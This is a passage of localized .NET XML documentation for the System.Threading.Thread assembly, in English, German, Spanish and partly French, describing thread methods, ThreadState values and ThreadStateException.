<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.ThreadStartException">
<summary>The exception that is thrown when a failure occurs in a managed thread after the underlying operating system thread has been started, but before the thread is ready to execute user code.</summary>
</member>
<member name="T:System.Threading.ThreadState">
<summary>Specifies the execution states of a <see cref="T:System.Threading.Thread" />.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="F:System.Threading.ThreadState.Aborted">
<summary>The thread state includes <see cref="F:System.Threading.ThreadState.AbortRequested" /> and the thread is now dead, but its state has not yet changed to <see cref="F:System.Threading.ThreadState.Stopped" />.</summary>
</member>
<member name="F:System.Threading.ThreadState.AbortRequested">
<summary>The <see cref="M:System.Threading.Thread.Abort(System.Object)" /> method has been invoked on the thread, but the thread has not yet received the pending <see cref="T:System.Threading.ThreadAbortException" /> that will attempt to terminate it.</summary>
</member>
<member name="F:System.Threading.ThreadState.Background">
<summary>The thread is being executed as a background thread, as opposed to a foreground thread. This state is controlled by setting the <see cref="P:System.Threading.Thread.IsBackground" /> property.</summary>
</member>
<member name="F:System.Threading.ThreadState.Running">
<summary>The thread has been started, it is not blocked, and there is no pending <see cref="T:System.Threading.ThreadAbortException" />.</summary>
</member>
<member name="F:System.Threading.ThreadState.Stopped">
<summary>The thread has stopped.</summary>
</member>
<member name="F:System.Threading.ThreadState.StopRequested">
<summary>The thread is being requested to stop. This is for internal use only.</summary>
</member>
<member name="F:System.Threading.ThreadState.Suspended">
<summary>The thread has been suspended.</summary>
</member>
<member name="F:System.Threading.ThreadState.SuspendRequested">
<summary>The thread is being requested to suspend.</summary>
</member>
<member name="F:System.Threading.ThreadState.Unstarted">
<summary>The <see cref="M:System.Threading.Thread.Start" /> method has not been invoked on the thread.</summary>
</member>
<member name="F:System.Threading.ThreadState.WaitSleepJoin">
<summary>The thread is blocked. This could be the result of calling <see cref="M:System.Threading.Thread.Sleep(System.Int32)" /> or <see cref="M:System.Threading.Thread.Join" />, of requesting a lock — for example, by calling <see cref="M:System.Threading.Monitor.Enter(System.Object)" /> or <see cref="M:System.Threading.Monitor.Wait(System.Object,System.Int32,System.Boolean)" /> — or of waiting on a thread synchronization object such as <see cref="T:System.Threading.ManualResetEvent" />. </summary>
</member>
<member name="T:System.Threading.ThreadStateException">
<summary>The exception that is thrown when a <see cref="T:System.Threading.Thread" /> is in an invalid <see cref="P:System.Threading.Thread.ThreadState" /> for the method call.</summary>
<filterpriority>2</filterpriority>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor">
<summary>Initializes a new instance of the <see cref="T:System.Threading.ThreadStateException" /> class with default properties.</summary>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String)">
<summary>Initializes a new instance of the <see cref="T:System.Threading.ThreadStateException" /> class with a specified error message.</summary>
<param name="message">The error message that explains the reason for the exception. </param>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String,System.Exception)">
<summary>Initializes a new instance of the <see cref="T:System.Threading.ThreadStateException" /> class with a specified error message and a reference to the inner exception that is the cause of this exception.</summary>
<param name="message">The error message that explains the reason for the exception. </param>
<param name="innerException">The exception that is the cause of the current exception. If the <paramref name="innerException" /> parameter is not null, the current exception is raised in a catch block that handles the inner exception. </param>
</member>
</members>
</doc>

View File

@ -0,0 +1,157 @@
<?xml version="1.0" encoding="utf-8"?>
<doc>
<assembly>
<name>System.Threading.Thread</name>
</assembly>
<members>
<member name="T:System.Threading.ParameterizedThreadStart">
<summary>Stellt die Methode dar, die für einen <see cref="T:System.Threading.Thread" /> ausgeführt wird.</summary>
<param name="obj">Ein Objekt, das Daten für die Threadprozedur enthält.</param>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.Thread">
<summary>Erstellt und steuert einen Thread, legt dessen Priorität fest und ruft den Status ab. Informationen zum Durchsuchen des .NET Framework-Quellcodes für diesen Typ finden Sie in der Verweisquelle.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ParameterizedThreadStart)">
<summary>Initialisiert eine neue Instanz der <see cref="T:System.Threading.Thread" />-Klasse und gibt dabei einen Delegaten an, der das Übergeben eines Objekts an den Thread bei dessen Start ermöglicht.</summary>
<param name="start">Ein Delegat, der die Methoden darstellt, die bei Beginn der Ausführung dieses Threads aufgerufen werden müssen. </param>
<exception cref="T:System.ArgumentNullException">
<paramref name="start" /> is null. </exception>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ThreadStart)">
<summary>Initialisiert eine neue Instanz der <see cref="T:System.Threading.Thread" />-Klasse.</summary>
<param name="start">Ein <see cref="T:System.Threading.ThreadStart" />-Delegat, der die Methoden darstellt, die bei Beginn der Ausführung dieses Threads aufgerufen werden müssen. </param>
<exception cref="T:System.ArgumentNullException">The <paramref name="start" /> parameter is null. </exception>
</member>
<member name="P:System.Threading.Thread.CurrentThread">
<summary>Ruft den derzeit ausgeführten Thread ab.</summary>
<returns>Ein <see cref="T:System.Threading.Thread" />, der den derzeit ausgeführten Thread darstellt.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsAlive">
<summary>Ruft einen Wert ab, der den Ausführungsstatus des aktuellen Threads angibt.</summary>
<returns>true, wenn dieser Thread gestartet und ordnungsgemäß beendet bzw. abgebrochen wurde, andernfalls false.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsBackground">
<summary>Ruft einen Wert ab, der angibt, ob es sich bei einem Thread um einen Hintergrundthread handelt, oder legt diesen fest.</summary>
<returns>true, wenn dieser Thread ein Hintergrundthread ist oder zu einem solchen wird, andernfalls false.</returns>
<exception cref="T:System.Threading.ThreadStateException">The thread is dead. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join">
<summary>Blockiert den aufrufenden Thread, bis ein Thread beendet wird, während das Standard-COM- und das SendMessage-Pumping fortgesetzt werden.</summary>
<exception cref="T:System.Threading.ThreadStateException">The caller attempted to join a thread that is in the <see cref="F:System.Threading.ThreadState.Unstarted" /> state. </exception>
<exception cref="T:System.Threading.ThreadInterruptedException">The thread is interrupted while waiting. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join(System.Int32)">
<summary>Blockiert den aufrufenden Thread, bis ein Thread beendet wird oder die festgelegte Zeit verstreicht, während das Standard-COM- und das SendMessage-Pumping fortgesetzt werden.</summary>
<returns>true, wenn der Thread beendet wurde. false, wenn der Thread nach Ablauf des vom <paramref name="millisecondsTimeout" />-Parameter angegebenen Zeitraums nicht beendet wurde.</returns>
<param name="millisecondsTimeout">Die Anzahl der Millisekunden, die auf das Beenden des Threads gewartet werden soll. </param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="millisecondsTimeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds. </exception>
<exception cref="T:System.Threading.ThreadStateException">The thread has not been started. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ManagedThreadId">
<summary>Ruft einen eindeutigen Bezeichner für den aktuellen verwalteten Thread ab. </summary>
<returns>Eine ganze Zahl, die einen eindeutigen Bezeichner für diesen verwalteten Thread darstellt.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.Name">
<summary>Ruft den Namen des Threads ab oder legt diesen fest.</summary>
<returns>Eine Zeichenfolge mit dem Namen des Threads, oder null, wenn kein Name festgelegt wurde.</returns>
<exception cref="T:System.InvalidOperationException">A set operation was requested, but the Name property has already been set. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.Int32)">
<summary>Hält den aktuellen Thread für die angegebene Anzahl von Millisekunden an.</summary>
<param name="millisecondsTimeout">Die Anzahl von Millisekunden, die der Thread angehalten wird.Wenn der Wert des <paramref name="millisecondsTimeout" />-Arguments 0 (null) lautet, gibt der Thread den Rest seines Zeitanteils an einen beliebigen Thread mit gleicher Priorität ab, der für die Ausführung bereit ist.Sind keine anderen Threads mit gleicher Priorität vorhanden, die ausgeführt werden können, wird die Ausführung des aktuellen Threads nicht angehalten.</param>
<exception cref="T:System.ArgumentOutOfRangeException">The time-out value is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" />. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.TimeSpan)">
<summary>Hält den aktuellen Thread während des angegebenen Zeitraums an.</summary>
<param name="timeout">Der Zeitraum, während dessen der Thread angehalten wird.Wenn der Wert des <paramref name="millisecondsTimeout" />-Arguments <see cref="F:System.TimeSpan.Zero" /> lautet, gibt der Thread den Rest seines Zeitanteils an einen beliebigen Thread mit gleicher Priorität ab, der für die Ausführung bereit ist.Sind keine anderen Threads mit gleicher Priorität vorhanden, die ausgeführt werden können, wird die Ausführung des aktuellen Threads nicht angehalten.</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="timeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds, or is greater than <see cref="F:System.Int32.MaxValue" /> milliseconds. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start">
<summary>Weist das Betriebssystem an, den Zustand der aktuellen Instanz in <see cref="F:System.Threading.ThreadState.Running" /> zu ändern.</summary>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start(System.Object)">
<summary>Bewirkt, dass das Betriebssystem den Zustand der aktuellen Instanz in <see cref="F:System.Threading.ThreadState.Running" /> ändert, und stellt optional ein Objekt mit Daten bereit, die von der vom Thread ausgeführten Methode verwendet werden sollen.</summary>
<param name="parameter">Ein Objekt mit Daten, die von der vom Thread ausgeführten Methode verwendet werden sollen.</param>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<exception cref="T:System.InvalidOperationException">This thread was created using a <see cref="T:System.Threading.ThreadStart" /> delegate instead of a <see cref="T:System.Threading.ParameterizedThreadStart" /> delegate.</exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ThreadState">
<summary>Ruft einen Wert ab, der die Zustände des aktuellen Threads enthält.</summary>
<returns>Einer der <see cref="T:System.Threading.ThreadState" />-Werte, der den Zustand des aktuellen Threads angibt.Der Anfangswert ist Unstarted.</returns>
<filterpriority>2</filterpriority>
</member>
<member name="T:System.Threading.ThreadStart">
<summary>Stellt die Methode dar, die für einen <see cref="T:System.Threading.Thread" /> ausgeführt wird.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.ThreadStartException">
<summary>Die Ausnahme, die ausgelöst wird, wenn ein Fehler in einem verwalteten Thread auftritt, nachdem der Thread des zugrunde liegenden Betriebssystems gestartet wurde, jedoch bevor der Thread bereit ist, Benutzercode auszuführen.</summary>
</member>
<member name="T:System.Threading.ThreadState">
<summary>Gibt die Ausführungszustände eines <see cref="T:System.Threading.Thread" /> an.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="F:System.Threading.ThreadState.Aborted">
<summary>Der Threadzustand schließt <see cref="F:System.Threading.ThreadState.AbortRequested" /> ein, und der Thread ist jetzt deaktiviert. Der Zustand hat sich jedoch noch nicht in <see cref="F:System.Threading.ThreadState.Stopped" /> geändert.</summary>
</member>
<member name="F:System.Threading.ThreadState.AbortRequested">
<summary>Die <see cref="M:System.Threading.Thread.Abort(System.Object)" />-Methode wurde für den Thread aufgerufen, doch der Thread hat noch nicht die ausstehende <see cref="T:System.Threading.ThreadAbortException" /> empfangen, die ihn zu beenden versucht.</summary>
</member>
<member name="F:System.Threading.ThreadState.Background">
<summary>Der Thread wird nicht als Vordergrundthread, sondern als Hintergrundthread ausgeführt.Dieser Zustand wird durch Festlegen der <see cref="P:System.Threading.Thread.IsBackground" />-Eigenschaft gesteuert.</summary>
</member>
<member name="F:System.Threading.ThreadState.Running">
<summary>Der Thread wurde gestartet, er wird nicht blockiert, und es ist keine ausstehende <see cref="T:System.Threading.ThreadAbortException" /> vorhanden.</summary>
</member>
<member name="F:System.Threading.ThreadState.Stopped">
<summary>Der Thread wurde beendet.</summary>
</member>
<member name="F:System.Threading.ThreadState.StopRequested">
<summary>Es besteht eine Anforderung für die Beendigung des Threads.Dies ist ausschließlich für die interne Verwendung vorgesehen.</summary>
</member>
<member name="F:System.Threading.ThreadState.Suspended">
<summary>Der Thread wurde unterbrochen.</summary>
</member>
<member name="F:System.Threading.ThreadState.SuspendRequested">
<summary>Es besteht eine Anforderung für die Unterbrechung des Threads.</summary>
</member>
<member name="F:System.Threading.ThreadState.Unstarted">
<summary>Die <see cref="M:System.Threading.Thread.Start" />-Methode wurde für den Thread nicht aufgerufen.</summary>
</member>
<member name="F:System.Threading.ThreadState.WaitSleepJoin">
<summary>Der Thread ist blockiert.Die Ursache hierfür könnte sein, dass <see cref="M:System.Threading.Thread.Sleep(System.Int32)" /> oder <see cref="M:System.Threading.Thread.Join" /> aufgerufen wurde, dass eine Sperre angefordert wurde, z. B. durch Aufrufen von <see cref="M:System.Threading.Monitor.Enter(System.Object)" /> oder <see cref="M:System.Threading.Monitor.Wait(System.Object,System.Int32,System.Boolean)" />, oder dass auf ein Threadsynchronisierungsobjekt wie <see cref="T:System.Threading.ManualResetEvent" /> gewartet wird.</summary>
</member>
<member name="T:System.Threading.ThreadStateException">
<summary>Die Ausnahme, die ausgelöst wird, wenn sich ein <see cref="T:System.Threading.Thread" /> in einem für den Methodenaufruf ungültigen <see cref="P:System.Threading.Thread.ThreadState" /> befindet.</summary>
<filterpriority>2</filterpriority>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor">
<summary>Initialisiert eine neue Instanz der <see cref="T:System.Threading.ThreadStateException" />-Klasse mit Standardeigenschaften.</summary>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String)">
<summary>Initialisiert eine neue Instanz der <see cref="T:System.Threading.ThreadStateException" />-Klasse mit einer angegebenen Fehlermeldung.</summary>
<param name="message">Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. </param>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String,System.Exception)">
<summary>Initialisiert eine neue Instanz der <see cref="T:System.Threading.ThreadStateException" />-Klasse mit einer angegebenen Fehlermeldung und einem Verweis auf die innere Ausnahme, die diese Ausnahme ausgelöst hat.</summary>
<param name="message">Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. </param>
<param name="innerException">Die Ausnahme, die die Ursache der aktuellen Ausnahme ist.Wenn der <paramref name="innerException" />-Parameter nicht null ist, wird die aktuelle Ausnahme in einem catch-Block ausgelöst, der die innere Ausnahme behandelt.</param>
</member>
</members>
</doc>

View File

@ -0,0 +1,158 @@
<?xml version="1.0" encoding="utf-8"?>
<doc>
<assembly>
<name>System.Threading.Thread</name>
</assembly>
<members>
<member name="T:System.Threading.ParameterizedThreadStart">
<summary>Representa el método que se ejecuta en una clase <see cref="T:System.Threading.Thread" />.</summary>
<param name="obj">Objeto que contiene los datos para el procedimiento de subproceso.</param>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.Thread">
<summary>Crea y controla un subproceso, establece su prioridad y obtiene su estado. Para examinar el código fuente de .NET Framework de este tipo, consulte el origen de referencia.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ParameterizedThreadStart)">
<summary>Inicializa una nueva instancia de la clase <see cref="T:System.Threading.Thread" />, especificando un delegado que permite pasar un objeto al subproceso cuando este último se inicia.</summary>
<param name="start">Delegado que representa los métodos que deben invocarse cuando empieza a ejecutarse este subproceso. </param>
<exception cref="T:System.ArgumentNullException">
<paramref name="start" /> is null. </exception>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ThreadStart)">
<summary>Inicializa una nueva instancia de la clase <see cref="T:System.Threading.Thread" />.</summary>
<param name="start">Delegado <see cref="T:System.Threading.ThreadStart" /> que representa los métodos que deben invocarse cuando empieza a ejecutarse este subproceso. </param>
<exception cref="T:System.ArgumentNullException">The <paramref name="start" /> parameter is null. </exception>
</member>
<member name="P:System.Threading.Thread.CurrentThread">
<summary>Obtiene el subproceso actualmente en ejecución.</summary>
<returns>
<see cref="T:System.Threading.Thread" /> que representa el subproceso actualmente en ejecución.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsAlive">
<summary>Obtiene un valor que indica el estado de ejecución del subproceso actual.</summary>
<returns>true si el subproceso se ha iniciado y no ha terminado con normalidad o se ha anulado; en caso contrario, false.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsBackground">
<summary>Obtiene o establece un valor que indica si un subproceso es o no un subproceso en segundo plano.</summary>
<returns>true si el subproceso es un subproceso en segundo plano o va a convertirse en un subproceso en segundo plano; en caso contrario, false.</returns>
<exception cref="T:System.Threading.ThreadStateException">The thread is dead. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join">
<summary>Bloquea el subproceso que realiza la llamada hasta que un subproceso finaliza, pero continúa bombeando SendMessage y COM estándar.</summary>
<exception cref="T:System.Threading.ThreadStateException">The caller attempted to join a thread that is in the <see cref="F:System.Threading.ThreadState.Unstarted" /> state. </exception>
<exception cref="T:System.Threading.ThreadInterruptedException">The thread is interrupted while waiting. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join(System.Int32)">
<summary>Bloquea el subproceso que realiza la llamada hasta que finaliza un subproceso o transcurre el tiempo especificado, pero continúa bombeando SendMessage y COM estándar.</summary>
<returns>true si el subproceso ha terminado; false si el subproceso no ha terminado una vez transcurrido el período de tiempo especificado por el parámetro <paramref name="millisecondsTimeout" />.</returns>
<param name="millisecondsTimeout">Número de milisegundos durante los que se va a esperar a que el subproceso finalice. </param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="millisecondsTimeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds. </exception>
<exception cref="T:System.Threading.ThreadStateException">The thread has not been started. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ManagedThreadId">
<summary>Obtiene un identificador único para el actual subproceso administrado. </summary>
<returns>Entero que representa un identificador único para este subproceso administrado.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.Name">
<summary>Obtiene o establece el nombre del subproceso.</summary>
<returns>Cadena que contiene el nombre del subproceso o null si no se ha establecido ningún nombre.</returns>
<exception cref="T:System.InvalidOperationException">A set operation was requested, but the Name property has already been set. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.Int32)">
<summary>Suspende el subproceso actual durante el número de milisegundos especificado.</summary>
<param name="millisecondsTimeout">Número de milisegundos durante los que el subproceso está suspendido.Si el valor del argumento <paramref name="millisecondsTimeout" /> es cero, el subproceso cede el resto de su porción de tiempo a cualquier subproceso de idéntica prioridad que está listo para ejecutarse.Si no hay ningún otro subproceso de igual prioridad que está listo para ejecutarse, no se suspende la ejecución del subproceso actual.</param>
<exception cref="T:System.ArgumentOutOfRangeException">The time-out value is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" />. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.TimeSpan)">
<summary>Suspende el subproceso actual durante la cantidad de tiempo especificada.</summary>
<param name="timeout">Cantidad de tiempo durante la que el subproceso está suspendido.Si el valor del argumento <paramref name="millisecondsTimeout" /> es <see cref="F:System.TimeSpan.Zero" />, el subproceso cede el resto de su porción de tiempo a cualquier subproceso de idéntica prioridad que está listo para ejecutarse.Si no hay ningún otro subproceso de igual prioridad que está listo para ejecutarse, no se suspende la ejecución del subproceso actual.</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="timeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds, or is greater than <see cref="F:System.Int32.MaxValue" /> milliseconds. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start">
<summary>Hace que el sistema operativo cambie el estado de la instancia actual a <see cref="F:System.Threading.ThreadState.Running" />.</summary>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start(System.Object)">
<summary>Hace que el sistema operativo cambie el estado de la instancia actual a <see cref="F:System.Threading.ThreadState.Running" />; también puede proporcionar un objeto que contiene datos para que los use el método ejecutado por el subproceso.</summary>
<param name="parameter">Objeto que contiene datos para que los use el método ejecutado por el subproceso.</param>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<exception cref="T:System.InvalidOperationException">This thread was created using a <see cref="T:System.Threading.ThreadStart" /> delegate instead of a <see cref="T:System.Threading.ParameterizedThreadStart" /> delegate.</exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ThreadState">
<summary>Obtiene un valor que contiene los estados del subproceso actual.</summary>
<returns>Uno de los valores de <see cref="T:System.Threading.ThreadState" /> que indica el estado del subproceso actual.El valor inicial es Unstarted.</returns>
<filterpriority>2</filterpriority>
</member>
<member name="T:System.Threading.ThreadStart">
<summary>Representa el método que se ejecuta en una clase <see cref="T:System.Threading.Thread" />.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.ThreadStartException">
<summary>Excepción que se produce cuando se produce un error en un subproceso administrado después de que se haya iniciado el subproceso del sistema operativo subyacente, pero antes de que el subproceso esté listo para ejecutar el código de usuario.</summary>
</member>
<member name="T:System.Threading.ThreadState">
<summary>Especifica los estados de ejecución de <see cref="T:System.Threading.Thread" />.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="F:System.Threading.ThreadState.Aborted">
<summary>El estado del subproceso incluye <see cref="F:System.Threading.ThreadState.AbortRequested" /> y el subproceso está ahora inactivo, pero su estado no ha cambiado todavía a <see cref="F:System.Threading.ThreadState.Stopped" />.</summary>
</member>
<member name="F:System.Threading.ThreadState.AbortRequested">
<summary>Se ha invocado al método <see cref="M:System.Threading.Thread.Abort(System.Object)" /> en el subproceso, pero el subproceso aún no ha recibido la excepción <see cref="T:System.Threading.ThreadAbortException" /> pendiente que intentará finalizarlo.</summary>
</member>
<member name="F:System.Threading.ThreadState.Background">
<summary>El subproceso está ejecutándose como subproceso en segundo plano, por oposición a un subproceso en primer plano.Para controlar este estado, hay que establecer la propiedad <see cref="P:System.Threading.Thread.IsBackground" />.</summary>
</member>
<member name="F:System.Threading.ThreadState.Running">
<summary>El subproceso se ha iniciado, no está bloqueado y no existe una excepción <see cref="T:System.Threading.ThreadAbortException" /> pendiente.</summary>
</member>
<member name="F:System.Threading.ThreadState.Stopped">
<summary>El subproceso se ha detenido.</summary>
</member>
<member name="F:System.Threading.ThreadState.StopRequested">
<summary>Se ha solicitado que el subproceso se detenga.Esto último sólo se refiere al uso interno.</summary>
</member>
<member name="F:System.Threading.ThreadState.Suspended">
<summary>El subproceso se ha suspendido.</summary>
</member>
<member name="F:System.Threading.ThreadState.SuspendRequested">
<summary>Se ha solicitado que el subproceso se suspenda.</summary>
</member>
<member name="F:System.Threading.ThreadState.Unstarted">
<summary>No se ha invocado al método <see cref="M:System.Threading.Thread.Start" /> en el subproceso.</summary>
</member>
<member name="F:System.Threading.ThreadState.WaitSleepJoin">
<summary>Subproceso bloqueado.Este podría ser el resultado de llamar a <see cref="M:System.Threading.Thread.Sleep(System.Int32)" /> o <see cref="M:System.Threading.Thread.Join" />, de solicitar un bloqueo (por ejemplo, llamando a <see cref="M:System.Threading.Monitor.Enter(System.Object)" /> o <see cref="M:System.Threading.Monitor.Wait(System.Object,System.Int32,System.Boolean)" />) o de esperar en un objeto de sincronización de subprocesos como <see cref="T:System.Threading.ManualResetEvent" />.</summary>
</member>
<member name="T:System.Threading.ThreadStateException">
<summary>Excepción que se produce cuando un <see cref="T:System.Threading.Thread" /> es un <see cref="P:System.Threading.Thread.ThreadState" /> que no es válido para la llamada de método.</summary>
<filterpriority>2</filterpriority>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor">
<summary>Inicializa una nueva instancia de la clase <see cref="T:System.Threading.ThreadStateException" /> con propiedades predeterminadas.</summary>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String)">
<summary>Inicializa una nueva instancia de la clase <see cref="T:System.Threading.ThreadStateException" /> con el mensaje de error especificado.</summary>
<param name="message">Mensaje de error que explica la razón de la excepción. </param>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String,System.Exception)">
<summary>Inicializa una nueva instancia de la clase <see cref="T:System.Threading.ThreadStateException" /> con un mensaje de error especificado y una referencia a la excepción interna que representa la causa de esta excepción.</summary>
<param name="message">Mensaje de error que explica la razón de la excepción. </param>
<param name="innerException">La excepción que es la causa de la excepción actual.Si el parámetro <paramref name="innerException" /> no es null, la excepción actual se produce en un bloque catch que controla la excepción interna.</param>
</member>
</members>
</doc>

View File

@ -0,0 +1,158 @@
<?xml version="1.0" encoding="utf-8"?>
<doc>
<assembly>
<name>System.Threading.Thread</name>
</assembly>
<members>
<member name="T:System.Threading.ParameterizedThreadStart">
<summary>Représente la méthode qui s'exécute sur <see cref="T:System.Threading.Thread" />.</summary>
<param name="obj">Objet qui contient des données pour la procédure de thread.</param>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.Thread">
<summary>Crée et contrôle un thread, définit sa priorité et obtient son état. Pour parcourir le code source de .NET Framework pour ce type, consultez la Source de référence.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ParameterizedThreadStart)">
<summary>Initialise une nouvelle instance de la classe <see cref="T:System.Threading.Thread" />, en spécifiant un délégué qui permet à un objet d'être passé au thread quand le thread est démarré.</summary>
<param name="start">Délégué qui représente les méthodes à appeler au début de l'exécution de ce thread. </param>
<exception cref="T:System.ArgumentNullException">
<paramref name="start" /> is null. </exception>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ThreadStart)">
<summary>Initialise une nouvelle instance de la classe <see cref="T:System.Threading.Thread" />.</summary>
<param name="start">Délégué <see cref="T:System.Threading.ThreadStart" /> qui représente les méthodes à appeler au début de l'exécution de ce thread. </param>
<exception cref="T:System.ArgumentNullException">The <paramref name="start" /> parameter is null. </exception>
</member>
<member name="P:System.Threading.Thread.CurrentThread">
<summary>Obtient le thread en cours d'exécution.</summary>
<returns>
<see cref="T:System.Threading.Thread" /> constituant la représentation du thread en cours d'exécution.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsAlive">
<summary>Obtient une valeur indiquant l'état de l'exécution du thread actuel.</summary>
<returns>true si ce thread a été démarré mais ne s'est pas arrêté normalement ou s'il a été abandonné ; sinon, false.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsBackground">
<summary>Obtient ou définit une valeur indiquant si le thread est un thread d'arrière-plan ou non.</summary>
<returns>true si ce thread est ou doit devenir un thread d'arrière-plan ; sinon, false.</returns>
<exception cref="T:System.Threading.ThreadStateException">The thread is dead. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join">
<summary>Bloque le thread appelant jusqu'à l'arrêt d'un thread, tout en continuant d'exécuter le pompage COM et SendMessage standard.</summary>
<exception cref="T:System.Threading.ThreadStateException">The caller attempted to join a thread that is in the <see cref="F:System.Threading.ThreadState.Unstarted" /> state. </exception>
<exception cref="T:System.Threading.ThreadInterruptedException">The thread is interrupted while waiting. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join(System.Int32)">
<summary>Bloque le thread appelant jusqu'à ce qu'un thread s'arrête ou que la durée spécifiée soit écoulée, tout en continuant d'exécuter le pompage COM et SendMessage standard.</summary>
<returns>true si le thread s'est arrêté ; false s'il ne s'est pas arrêté après l'expiration du délai spécifié par le paramètre <paramref name="millisecondsTimeout" />.</returns>
<param name="millisecondsTimeout">Nombre de millisecondes à attendre l'arrêt du thread. </param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="millisecondsTimeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds. </exception>
<exception cref="T:System.Threading.ThreadStateException">The thread has not been started. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ManagedThreadId">
<summary>Obtient un identificateur unique pour le thread managé actuel. </summary>
<returns>Entier représentant un identificateur unique pour ce thread managé.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.Name">
<summary>Obtient ou définit le nom du thread.</summary>
<returns>Chaîne contenant le nom du thread ou null si aucun nom n'a été défini.</returns>
<exception cref="T:System.InvalidOperationException">A set operation was requested, but the Name property has already been set. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.Int32)">
<summary>Suspend le thread actuel pendant le nombre spécifié de millisecondes.</summary>
<param name="millisecondsTimeout">Nombre de millisecondes pendant lesquelles le thread est suspendu.Si la valeur de l'argument <paramref name="millisecondsTimeout" /> est égale à zéro, le thread abandonne le reste de sa tranche de temps à n'importe quel thread de priorité égale prêt à être exécuté.S'il n'existe pas d'autres threads de priorité égale prêts à être exécutés, l'exécution du thread actuel n'est pas suspendue.</param>
